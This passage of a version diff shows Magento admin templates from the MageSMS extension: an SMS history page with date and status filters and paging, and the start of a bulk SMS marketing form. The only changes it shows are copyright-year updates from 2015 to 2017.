?></th><th><?php echo Mage::helper('magesms')->__('Recipient'); ?></th><th><?php echo Mage::helper('magesms')->__('SMS subject'); ?></th><th class="a-left"><?php echo Mage::helper('magesms')->__('Date'); ?></th><th><?php echo Mage::helper('magesms')->__('Type'); ?></th><th class="a-center"><?php echo Mage::helper('magesms')->__('Status'); ?></th></tr><?php $even = 1; foreach($history as $_obj): if ($even) $even = 0; else $even = 1;?><tr id="hist_<?php echo $_obj->getId(); ?>" class="hover <?php if ($even) echo 'even'?>"><td><span class="img"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/i_plus.gif'; ?>"></span><span class="img" style="display:none"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/i_minus.gif'; ?>"></span><?php echo $_obj->getNumber(); ?></td><td><?php if ($_obj->getCustomerId()): ?><?php $customer = Mage::getModel('customer/customer')->load($_obj->getCustomerId()); ?><?php if ($customer->getId()): ?><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/customer/edit', array('id' => $_obj->getCustomerId())); ?>" target="magesms_popup_customer" title="<?php echo Mage::helper('magesms')->__('Display customer detail'); ?>"><?php echo $customer->getFirstname(); ?> <?php echo $customer->getLastname(); ?></a><?php else: ?><?php echo Mage::helper('magesms')->moreText($_obj->getRecipient(), 16, 25); ?><?php endif; ?><?php elseif ($_obj->getAdminId()): ?><?php $admin = Mage::getModel('magesms/admins')->load($_obj->getAdminId()); ?><?php if ($admin->getId()): ?><?php echo $admin->getName(); ?><?php else: ?><?php echo Mage::helper('magesms')->moreText($_obj->getRecipient(), 16, 25); ?><?php endif; ?><?php else: ?><?php echo ($recipient = Mage::helper('magesms')->moreText($_obj->getRecipient(), 16, 25)) ? $recipient: '-' ?><?php endif; ?></td><td><?php echo ($subject = Mage::helper('magesms')->moreText($_obj->getSubject(), 16, 25)) ? $subject : '-'; ?></td><td><?php echo Mage::helper('core')->formatDate($_obj->getDate(), 'medium', true); ?></td><td><?php echo $type[$_obj->getType()]; ?></td><td class="a-center"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/'.Mage::getSingleton('magesms/sms')->status($_obj->getStatus())->icon; ?>" title="<?php echo Mage::getSingleton('magesms/sms')->status($_obj->getStatus())->name.(($note=$_obj->getNote()) && ($_obj->getStatus() == Topefekt_Magesms_Model_Sms::ERROR || $_obj->getStatus() == Topefekt_Magesms_Model_Sms::SCHEDULED) ? " - $note" : '') ; ?>" /></td></tr><tr id="histd_<?php echo $_obj->getId(); ?>" class="<?php if ($even) echo 'even'?>" style="display:none"><td colspan="6"><b><?php echo Mage::helper('magesms')->__('Text:'); ?></b><br /><?php echo $_obj->getText(); ?><br /><br /><b><?php echo Mage::helper('magesms')->__('SMS price in credits:'); ?></b> <?php echo $_obj->getPrice(); ?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<?php if ($_obj->getPrice() > 0): ?><b><?php echo Mage::helper('magesms')->__('Credit balance:'); ?></b> <?php echo $_obj->getCredit(); ?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<?php endif; ?><b><?php echo Mage::helper('magesms')->__('Total SMS:'); ?></b> <?php echo $_obj->getTotal(); ?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b><?php echo Mage::helper('magesms')->__('Unicode:'); ?></b> <?php echo $_obj->getUnicode() ? Mage::helper('magesms')->__('yes') : Mage::helper('magesms')->__('no'); ?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b><?php echo Mage::helper('magesms')->__('senderID:'); ?></b><?php if ($_obj->getSender() && preg_match("/^([0-9])*$/", $_obj->getSender(), $matches)): ?>+<?php echo $_obj->getSender(); ?><?php elseif ($_obj->getSender()): ?><?php echo $_obj->getSender(); ?><?php else: ?><?php echo Mage::helper('magesms')->__('system number'); ?><?php endif; ?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<?php if ($_obj->getSmsid()): ?><br /><b><?php echo Mage::helper('magesms')->__('smsID:'); ?></b> <?php echo $_obj->getSmsid(); ?><?php endif; ?></td></tr><?php endforeach; ?></table><table class="actions"><tr><td class="pager"><?php echo $this->__('Page') ?><?php $_curPage = $history->getCurPage() ?><?php $_lastPage = $history->getLastPageNumber() ?><?php if($_curPage>1): ?><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/', $this->getRequest()->getParams()+array('page' => $_curPage-1)); ?>" title="<?php echo $this->__('Previous') ?>"><img src="<?php echo $this->getSkinUrl('images/pager_arrow_left.gif') ?>" alt="Go to Previous page" class="arrow"/></a><?php else: ?><img src="<?php echo $this->getSkinUrl('images/pager_arrow_left_off.gif') ?>" alt="Go to Previous page" class="arrow"/><?php endif; ?><input type="text" name="curPage" readonly value="<?php echo $_curPage ?>" class="input-text page" /><?php if($_curPage < $_lastPage): ?><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/', $this->getRequest()->getParams()+array('page' => $_curPage+1)); ?>" title="<?php echo $this->__('Next') ?>"><img src="<?php echo $this->getSkinUrl('images/pager_arrow_right.gif') ?>" alt="Go to Next page" class="arrow"/></a><?php else: ?><img src="<?php echo $this->getSkinUrl('images/pager_arrow_right_off.gif') ?>" alt="Go to Previous page" class="arrow"/><?php endif; ?></td></tr></table></div></div><script type="text/javascript">//<![CDATA[
17
  Event.observe(window, "load", function(){var gridData = document.getElementById('magesms');var tr_array = gridData.getElementsByTagName('tr');for (var i=0, len=tr_array.length; i < len; i++) {if (tr_array[i].className.indexOf('hover') !== -1) {tr_array[i].onmouseover = function() {this.className = this.className + ' on-mouse';};tr_array[i].onmouseout = function() {this.className = this.className.replace(' on-mouse', '');};tr_array[i].onclick = function() {var arr = this.id.split('_');var next = document.getElementById('histd_'+arr[1]);if (next.style.display == 'none') {next.style.display = 'table-row';} else {next.style.display = 'none';}var img = this.getElementsByClassName('img');if (img[0].style.display == 'none') {img[0].style.display = 'inline';} else {img[0].style.display = 'none';}if (img[1].style.display == 'none') {img[1].style.display = 'inline';} else {img[1].style.display = 'none';}};}}});
18
  //]]></script><?php else: ?><div><?php echo Mage::helper('magesms')->__('Total SMS: 0'); ?></div><?php endif; ?></div>
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><?php $type = array( 1 => Mage::helper('magesms')->__(' admin sms'), 2 => Mage::helper('magesms')->__(' customer sms'), 3 => Mage::helper('magesms')->__(' marketing sms'), 4 => Mage::helper('magesms')->__(' simple sms') ); ?><div style="float: right;"><form action="<?php echo $this->getUrl('*/*/exportcsv') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><input type="submit" value="<?php echo Mage::helper('magesms')->__('Export history'); ?>" class="form-button" /></form><form action="<?php echo $this->getUrl('*/*/delete') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><input type="submit" value="<?php echo Mage::helper('magesms')->__('Delete history'); ?>" onclick="return confirm('<?php echo Mage::helper('magesms')->__('Are you sure to delete SMS history?'); ?>');" class="form-button" /></form></div><h2><?php echo Mage::helper('magesms')->__('SMS History'); ?></h2><p><?php echo Mage::helper('magesms')->__('History of sent SMS from SMS module.'); ?></p><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('SMS History'); ?></h4></div><div class="fieldset grid"><form id="magesms_filter" action="<?php echo Mage::getUrl('*/*/filter') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><?php $history = Mage::getSingleton('magesms/smshistory')->getCollection() ->setOrder('date', 'ASC'); $history->getSelect()->limit(1); if ($history->count()) $rokmin = substr($history->getFirstItem()->getDate(), 0, 4); else $rokmin = date('Y'); $roky = array(); for(; $rokmin <= date('Y'); $rokmin++) $roky[] = $rokmin; ?><div class="margin-form" style="text-align: center"><select name="rok" id="rok"><option value=""><?php echo Mage::helper('magesms')->__('year'); ?></option><?php foreach( $roky as $rok ): ?><option value="<?php echo $rok; ?>" <?php echo $rok == $this->getRequest()->getParam('rok', date('Y')) ? 'selected' : ''; ?>><?php echo $rok; ?></option><?php endforeach; ?></select><select name="mesic" id="mesic"><option value=""><?php echo Mage::helper('magesms')->__('month'); ?></option><?php for( $mesic=1; $mesic<=12; $mesic++ ): ?><option value="<?php echo $mesic; ?>" <?php echo $mesic == $this->getRequest()->getParam('mesic', date('m')) ? 'selected' : ''; ?>><?php echo $mesic; ?></option><?php endfor; ?></select><select name="den" id="den"><option value=""><?php echo Mage::helper('magesms')->__('day'); ?></option><?php for( $den=1; $den<=31; $den++ ): ?><option value="<?php echo $den; ?>" <?php echo $den == $this->getRequest()->getParam('den') ? 'selected' : ''; ?>><?php echo sprintf('%02d', $den); ?></option><?php endfor; ?></select><select name="status" id="status"><option value=""><?php echo Mage::helper('magesms')->__('Status'); ?></option><?php foreach( Mage::getSingleton('magesms/sms')->status() as $id=>$stat ): ?><option value="<?php echo $id; ?>" <?php echo $id == $this->getRequest()->getParam('status') ? 'selected' : ''; ?>><?php echo $stat->name; ?></option><?php endforeach; ?></select><input type="hidden" name="eshopsms1" value="0" />&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" name="eshopsms1" id="eshopsms1" value="1" <?php echo $this->getRequest()->getParam('eshopsms1') == null || $this->getRequest()->getParam('eshopsms1') == 1 ? 'checked' : ''; ?> /><label for="eshopsms1"><?php echo Mage::helper('magesms')->__(' admin sms'); ?></label><input type="hidden" name="eshopsms" value="0" />&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" name="eshopsms" id="eshopsms" value="1" <?php echo $this->getRequest()->getParam('eshopsms') == null || $this->getRequest()->getParam('eshopsms') == 1 ? 'checked' : ''; ?> /><label for="eshopsms"><?php echo Mage::helper('magesms')->__(' customer sms'); ?></label><input type="hidden" name="bulksms" value="0" />&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" name="bulksms" id="bulksms" value="1" <?php echo $this->getRequest()->getParam('bulksms') == null || $this->getRequest()->getParam('bulksms') == 1 ? 'checked' : ''; ?> /><label for="bulksms"><?php echo Mage::helper('magesms')->__(' marketing sms'); ?></label><input type="hidden" name="bulksms2" value="0" />&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" name="bulksms2" id="bulksms2" value="1" <?php echo $this->getRequest()->getParam('bulksms2') == null || $this->getRequest()->getParam('bulksms2') == 1 ? 'checked' : ''; ?> /><label for="bulksms2"><?php echo Mage::helper('magesms')->__(' simple sms'); ?></label>&nbsp;&nbsp;&nbsp;&nbsp;<input type="submit" value="<?php echo Mage::helper('magesms')->__('Show'); ?>" class="form-button" /></div></form></div></div><?php $pageSize = 50; $page = $this->getRequest()->getParam('page', 1); $format = Mage::app()->getLocale()->getDateTimeFormat(Mage_Core_Model_Locale::FORMAT_TYPE_MEDIUM); $history = Mage::getSingleton('magesms/smshistory')->getCollection()->setOrder('date', 'DESC'); $rok = $this->getRequest()->getParam('rok', date('Y')); $mesic = $this->getRequest()->getParam('mesic', date('m')); $den = $this->getRequest()->getParam('den'); if ($den) { $history->getSelect()->where("`date` LIKE ?", sprintf("%04d-%02d-%02d%%", $rok, $mesic, $den)); } else { $history->getSelect()->where("`date` LIKE ?", sprintf("%04d-%02d-%%", $rok, $mesic)); } if (($_status = $this->getRequest()->getParam('status'))) { $history->addFilter('status', $_status); } $notin = array(); if ($this->getRequest()->getParam('eshopsms', 1) != 1) $notin[] = 2; if ($this->getRequest()->getParam('eshopsms1', 1) != 1) $notin[] = 1; if ($this->getRequest()->getParam('bulksms', 1) != 1) $notin[] = 3; if ($this->getRequest()->getParam('bulksms2', 1) != 1) $notin[] = 4; if (count($notin)) { $history->getSelect()->where("`type` NOT IN (?)", $notin); } $history->setPageSize($pageSize); $history->setCurPage($page); if ($history->getSize()): $from = ($page-1) * $pageSize + 1; $to = ($page-1) * $pageSize + $pageSize; if ($to > $history->getSize()) $to = $history->getSize(); $this->getRequest()->setParam('page', null); ?><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminCatalog.gif'; ?>" alt="" /><?php echo Mage::helper('magesms')->__('Search results ').' '.$from.' - '.$to.Mage::helper('magesms')->__(' of ').$history->getSize().' '.Mage::helper('magesms')->__('SMS'); ?></h4></div><div class="fieldset grid"><table class="actions"><tr><td class="pager"><?php echo $this->__('Page') ?><?php $_curPage = $history->getCurPage() ?><?php $_lastPage = $history->getLastPageNumber() ?><?php if($_curPage>1): ?><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/', $this->getRequest()->getParams()+array('page' => $_curPage-1)); ?>" title="<?php echo $this->__('Previous') ?>"><img src="<?php echo $this->getSkinUrl('images/pager_arrow_left.gif') ?>" alt="Go to Previous page" class="arrow"/></a><?php else: ?><img src="<?php echo $this->getSkinUrl('images/pager_arrow_left_off.gif') ?>" alt="Go to Previous page" class="arrow"/><?php endif; ?><input type="text" name="curPage" readonly value="<?php echo $_curPage ?>" class="input-text page" /><?php if($_curPage < $_lastPage): ?><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/', $this->getRequest()->getParams()+array('page' => $_curPage+1)); ?>" title="<?php echo $this->__('Next') ?>"><img src="<?php echo $this->getSkinUrl('images/pager_arrow_right.gif') ?>" alt="Go to Next page" class="arrow"/></a><?php else: ?><img src="<?php echo $this->getSkinUrl('images/pager_arrow_right_off.gif') ?>" alt="Go to Previous page" class="arrow"/><?php endif; ?></td></tr></table><table class="data"><tr class="headings"><th><?php echo Mage::helper('magesms')->__('Number'); ?></th><th><?php echo Mage::helper('magesms')->__('Recipient'); ?></th><th><?php echo Mage::helper('magesms')->__('SMS subject'); ?></th><th class="a-left"><?php echo Mage::helper('magesms')->__('Date'); ?></th><th><?php echo Mage::helper('magesms')->__('Type'); ?></th><th class="a-center"><?php echo Mage::helper('magesms')->__('Status'); ?></th></tr><?php $even = 1; foreach($history as $_obj): if ($even) $even = 0; else $even = 1;?><tr id="hist_<?php echo $_obj->getId(); ?>" class="hover <?php if ($even) echo 'even'?>"><td><span class="img"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/i_plus.gif'; ?>"></span><span class="img" style="display:none"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/i_minus.gif'; ?>"></span><?php echo $_obj->getNumber(); ?></td><td><?php if ($_obj->getCustomerId()): ?><?php $customer = Mage::getModel('customer/customer')->load($_obj->getCustomerId()); ?><?php if ($customer->getId()): ?><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/customer/edit', array('id' => $_obj->getCustomerId())); ?>" target="magesms_popup_customer" title="<?php echo Mage::helper('magesms')->__('Display customer detail'); ?>"><?php echo $customer->getFirstname(); ?> <?php echo $customer->getLastname(); ?></a><?php else: ?><?php echo Mage::helper('magesms')->moreText($_obj->getRecipient(), 16, 25); ?><?php endif; ?><?php elseif ($_obj->getAdminId()): ?><?php $admin = Mage::getModel('magesms/admins')->load($_obj->getAdminId()); ?><?php if ($admin->getId()): ?><?php echo $admin->getName(); ?><?php else: ?><?php echo Mage::helper('magesms')->moreText($_obj->getRecipient(), 16, 25); ?><?php endif; ?><?php else: ?><?php echo ($recipient = Mage::helper('magesms')->moreText($_obj->getRecipient(), 16, 25)) ? $recipient: '-' ?><?php endif; ?></td><td><?php echo ($subject = Mage::helper('magesms')->moreText($_obj->getSubject(), 16, 25)) ? $subject : '-'; ?></td><td><?php echo Mage::helper('core')->formatDate($_obj->getDate(), 'medium', true); ?></td><td><?php echo $type[$_obj->getType()]; ?></td><td class="a-center"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/'.Mage::getSingleton('magesms/sms')->status($_obj->getStatus())->icon; ?>" title="<?php echo Mage::getSingleton('magesms/sms')->status($_obj->getStatus())->name.(($note=$_obj->getNote()) && ($_obj->getStatus() == Topefekt_Magesms_Model_Sms::ERROR || $_obj->getStatus() == Topefekt_Magesms_Model_Sms::SCHEDULED) ? " - $note" : '') ; ?>" /></td></tr><tr id="histd_<?php echo $_obj->getId(); ?>" class="<?php if ($even) echo 'even'?>" style="display:none"><td colspan="6"><b><?php echo Mage::helper('magesms')->__('Text:'); ?></b><br /><?php echo $_obj->getText(); ?><br /><br /><b><?php echo Mage::helper('magesms')->__('SMS price in credits:'); ?></b> <?php echo $_obj->getPrice(); ?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<?php if ($_obj->getPrice() > 0): ?><b><?php echo Mage::helper('magesms')->__('Credit balance:'); ?></b> <?php echo $_obj->getCredit(); ?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<?php endif; ?><b><?php echo Mage::helper('magesms')->__('Total SMS:'); ?></b> <?php echo $_obj->getTotal(); ?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b><?php echo Mage::helper('magesms')->__('Unicode:'); ?></b> <?php echo $_obj->getUnicode() ? Mage::helper('magesms')->__('yes') : Mage::helper('magesms')->__('no'); ?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b><?php echo Mage::helper('magesms')->__('senderID:'); ?></b><?php if ($_obj->getSender() && preg_match("/^([0-9])*$/", $_obj->getSender(), $matches)): ?>+<?php echo $_obj->getSender(); ?><?php elseif ($_obj->getSender()): ?><?php echo $_obj->getSender(); ?><?php else: ?><?php echo Mage::helper('magesms')->__('system number'); ?><?php endif; ?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<?php if ($_obj->getSmsid()): ?><br /><b><?php echo Mage::helper('magesms')->__('smsID:'); ?></b> <?php echo $_obj->getSmsid(); ?><?php endif; ?></td></tr><?php endforeach; ?></table><table class="actions"><tr><td class="pager"><?php echo $this->__('Page') ?><?php $_curPage = $history->getCurPage() ?><?php $_lastPage = $history->getLastPageNumber() ?><?php if($_curPage>1): ?><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/', $this->getRequest()->getParams()+array('page' => $_curPage-1)); ?>" title="<?php echo $this->__('Previous') ?>"><img src="<?php echo $this->getSkinUrl('images/pager_arrow_left.gif') ?>" alt="Go to Previous page" class="arrow"/></a><?php else: ?><img src="<?php echo $this->getSkinUrl('images/pager_arrow_left_off.gif') ?>" alt="Go to Previous page" class="arrow"/><?php endif; ?><input type="text" name="curPage" readonly value="<?php echo $_curPage ?>" class="input-text page" /><?php if($_curPage < $_lastPage): ?><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/', $this->getRequest()->getParams()+array('page' => $_curPage+1)); ?>" title="<?php echo $this->__('Next') ?>"><img src="<?php echo $this->getSkinUrl('images/pager_arrow_right.gif') ?>" alt="Go to Next page" class="arrow"/></a><?php else: ?><img src="<?php echo $this->getSkinUrl('images/pager_arrow_right_off.gif') ?>" alt="Go to Previous page" class="arrow"/><?php endif; ?></td></tr></table></div></div><script type="text/javascript">//<![CDATA[
17
  Event.observe(window, "load", function(){var gridData = document.getElementById('magesms');var tr_array = gridData.getElementsByTagName('tr');for (var i=0, len=tr_array.length; i < len; i++) {if (tr_array[i].className.indexOf('hover') !== -1) {tr_array[i].onmouseover = function() {this.className = this.className + ' on-mouse';};tr_array[i].onmouseout = function() {this.className = this.className.replace(' on-mouse', '');};tr_array[i].onclick = function() {var arr = this.id.split('_');var next = document.getElementById('histd_'+arr[1]);if (next.style.display == 'none') {next.style.display = 'table-row';} else {next.style.display = 'none';}var img = this.getElementsByClassName('img');if (img[0].style.display == 'none') {img[0].style.display = 'inline';} else {img[0].style.display = 'none';}if (img[1].style.display == 'none') {img[1].style.display = 'inline';} else {img[1].style.display = 'none';}};}}});
18
  //]]></script><?php else: ?><div><?php echo Mage::helper('magesms')->__('Total SMS: 0'); ?></div><?php endif; ?></div>
app/design/adminhtml/default/default/template/topefekt/magesms/marketing.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><h2><?php echo Mage::helper('magesms')->__('SMS Marketing - customers found: '); ?><span id="magesms-marketing-countit"><?php echo $this->getCollection()->count(); ?></span></h2><p><?php echo Mage::helper('magesms')->__('Write text of message and use advanced filter to target your marketing campaign.'); ?></p><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /><?php echo Mage::helper('magesms')->__('SMS Marketing - bulk SMS text'); ?></h4><span class="right"><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/template', array('action'=>'saveTemplate', 'type' => 1)); ?>" title="<?php echo Mage::helper('magesms')->__('Save template'); ?>" onclick="showPopup(this);return false;">[<?php echo Mage::helper('magesms')->__('Save template'); ?>]</a>&nbsp;&nbsp;&nbsp;<a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/template', array('action'=>'loadTemplate', 'type' => 1)); ?>" title="<?php echo Mage::helper('magesms')->__('Saved Templates'); ?>" onclick="showPopup(this);return false;">[<?php echo Mage::helper('magesms')->__('Saved Templates'); ?>]</a></span></div><div class="fieldset"><form name="formSMS" id="magesms_sendsms" action="<?php echo Mage::helper("adminhtml")->getUrl('*/*/sent') ?>" enctype="multipart/form-data" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><input name="filter" type="hidden" value="<?php echo $this->getRequest()->getParam('filter'); ?>" /><div style="float: left;margin-right:30px;width:450px"><label for="text"><?php echo Mage::helper('magesms')->__('Enter SMS text'); ?></label><br /><div class="margin-form"><textarea name="text" id="text" class="required-entry input-text" style="width:420px; height:135px;"><?php echo $this->getSmsData()->getData('text'); ?></textarea></div><div class="clear"></div></div><div style="float: left;margin-right:30px;"><label for="text"><?php echo Mage::helper('magesms')->__('Preview'); ?> (<span id="labelSMS"></span>)</label><br /><div class="margin-form"><textarea name="textfake" id="textfake" disabled="disabled" class="required-entry input-text" style="width:420px; height:135px;border:1px solid grey;"></textarea></div><div class="clear"></div></div><div style="float: left;margin:1.5em 0;"><div class="margin-form"><input id="unicode" type="checkbox" value="1" name="unicode" <?php echo $this->getSmsData()->getData('unicode') ? 'checked' : ''; ?> /><label for="unicode"><?php echo Mage::helper('magesms')->__(' Unicode '); ?></label><span style="cursor:help;text-decoration:underline;" title="<?php echo Mage::helper('magesms')->__('Check only if you want to use Chinese, Arabic, Greek, Hebrew, Korean, Cyrillic, etc. or diacritic in the text of your SMS message (Unicode text allows you to insert characters in all fonts and various other symbols simultaneously. Number of characters in one SMS will be reduced to 70).'); ?>" onclick="popup_title(this)">?</span></div><div class="margin-form"><input type="hidden" value="0" name="unique" /><input id="unique" type="checkbox" value="1" name="unique" <?php echo $this->getSmsData()->getData('unique') === '0' ? '' : 'checked'; ?> /><label for="unique"><?php echo Mage::helper('magesms')->__('Remove duplicate numbers'); ?></label></div><div class="margin-form" style="margin-top: 10px"><input id="sendlater" type="checkbox" value="1" onchange="sendlaterx(this)" name="sendlater" <?php echo $this->getSmsData()->getData('sendlater') ? 'checked' : ''; ?> /><label for="sendlater"><?php echo Mage::helper('magesms')->__(' Send later '); ?></label></div><div class="margin-form sendlater-form" id="sendlater-form" style="display: none; padding: 5px 0 0 20px"><label for="date"><?php echo Mage::helper('magesms')->__('Date:'); ?></label><?php $datumodesl = Mage::helper('core')->formatDate( ($_x = $this->getSmsData()->getData('datumodesl')) ? $_x.date(' H:i:s', Mage::getModel('core/date')->timestamp(time())) : date('Y-m-d H:i:s', Mage::getModel('core/date')->timestamp(time())+24*60*60), 'short', false); ?><input type="text" style="width: 100px;" class="input-text validate-sendlater-datumodesl" value="<?php echo $datumodesl; ?>" id="datumodesl" name="datumodesl"/><img style="cursor:pointer" title="<?php echo Mage::helper('magesms')->__('Calendar'); ?>" id="date_select_trig" class="v-middle" alt="" src="<?php echo $this->getSkinUrl("images/grid-cal.gif");?> "/>&nbsp;&nbsp;&nbsp;&nbsp;<label for="date"><?php echo Mage::helper('magesms')->__('Time: '); ?></label><select name="datumodesl_hour"><?php for($hour=1;$hour<=24;$hour++): ?><option value="<?php echo $hour; ?>" <?php echo (($_x = $this->getSmsData()->getData('datumodesl_hour')) ? $_x : 9 ) == $hour ? 'selected' : ''; ?>><?php printf('%02d', $hour); ?></option><?php endfor; ?></select>:<select name="datumodesl_min"><?php for($min=0;$min<=59;$min++): ?><option value="<?php echo $min; ?>" <?php echo $this->getSmsData()->getData('datumodesl_min') == $min ? 'selected' : ''; ?>><?php printf('%02d', $min); ?></option><?php endfor; ?></select><script type="text/javascript">//<![CDATA[
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><h2><?php echo Mage::helper('magesms')->__('SMS Marketing - customers found: '); ?><span id="magesms-marketing-countit"><?php echo $this->getCollection()->count(); ?></span></h2><p><?php echo Mage::helper('magesms')->__('Write text of message and use advanced filter to target your marketing campaign.'); ?></p><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /><?php echo Mage::helper('magesms')->__('SMS Marketing - bulk SMS text'); ?></h4><span class="right"><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/template', array('action'=>'saveTemplate', 'type' => 1)); ?>" title="<?php echo Mage::helper('magesms')->__('Save template'); ?>" onclick="showPopup(this);return false;">[<?php echo Mage::helper('magesms')->__('Save template'); ?>]</a>&nbsp;&nbsp;&nbsp;<a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/template', array('action'=>'loadTemplate', 'type' => 1)); ?>" title="<?php echo Mage::helper('magesms')->__('Saved Templates'); ?>" onclick="showPopup(this);return false;">[<?php echo Mage::helper('magesms')->__('Saved Templates'); ?>]</a></span></div><div class="fieldset"><form name="formSMS" id="magesms_sendsms" action="<?php echo Mage::helper("adminhtml")->getUrl('*/*/sent') ?>" enctype="multipart/form-data" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><input name="filter" type="hidden" value="<?php echo $this->getRequest()->getParam('filter'); ?>" /><div style="float: left;margin-right:30px;width:450px"><label for="text"><?php echo Mage::helper('magesms')->__('Enter SMS text'); ?></label><br /><div class="margin-form"><textarea name="text" id="text" class="required-entry input-text" style="width:420px; height:135px;"><?php echo $this->getSmsData()->getData('text'); ?></textarea></div><div class="clear"></div></div><div style="float: left;margin-right:30px;"><label for="text"><?php echo Mage::helper('magesms')->__('Preview'); ?> (<span id="labelSMS"></span>)</label><br /><div class="margin-form"><textarea name="textfake" id="textfake" disabled="disabled" class="required-entry input-text" style="width:420px; height:135px;border:1px solid grey;"></textarea></div><div class="clear"></div></div><div style="float: left;margin:1.5em 0;"><div class="margin-form"><input id="unicode" type="checkbox" value="1" name="unicode" <?php echo $this->getSmsData()->getData('unicode') ? 'checked' : ''; ?> /><label for="unicode"><?php echo Mage::helper('magesms')->__(' Unicode '); ?></label><span style="cursor:help;text-decoration:underline;" title="<?php echo Mage::helper('magesms')->__('Check only if you want to use Chinese, Arabic, Greek, Hebrew, Korean, Cyrillic, etc. or diacritic in the text of your SMS message (Unicode text allows you to insert characters in all fonts and various other symbols simultaneously. Number of characters in one SMS will be reduced to 70).'); ?>" onclick="popup_title(this)">?</span></div><div class="margin-form"><input type="hidden" value="0" name="unique" /><input id="unique" type="checkbox" value="1" name="unique" <?php echo $this->getSmsData()->getData('unique') === '0' ? '' : 'checked'; ?> /><label for="unique"><?php echo Mage::helper('magesms')->__('Remove duplicate numbers'); ?></label></div><div class="margin-form" style="margin-top: 10px"><input id="sendlater" type="checkbox" value="1" onchange="sendlaterx(this)" name="sendlater" <?php echo $this->getSmsData()->getData('sendlater') ? 'checked' : ''; ?> /><label for="sendlater"><?php echo Mage::helper('magesms')->__(' Send later '); ?></label></div><div class="margin-form sendlater-form" id="sendlater-form" style="display: none; padding: 5px 0 0 20px"><label for="date"><?php echo Mage::helper('magesms')->__('Date:'); ?></label><?php $datumodesl = Mage::helper('core')->formatDate( ($_x = $this->getSmsData()->getData('datumodesl')) ? $_x.date(' H:i:s', Mage::getModel('core/date')->timestamp(time())) : date('Y-m-d H:i:s', 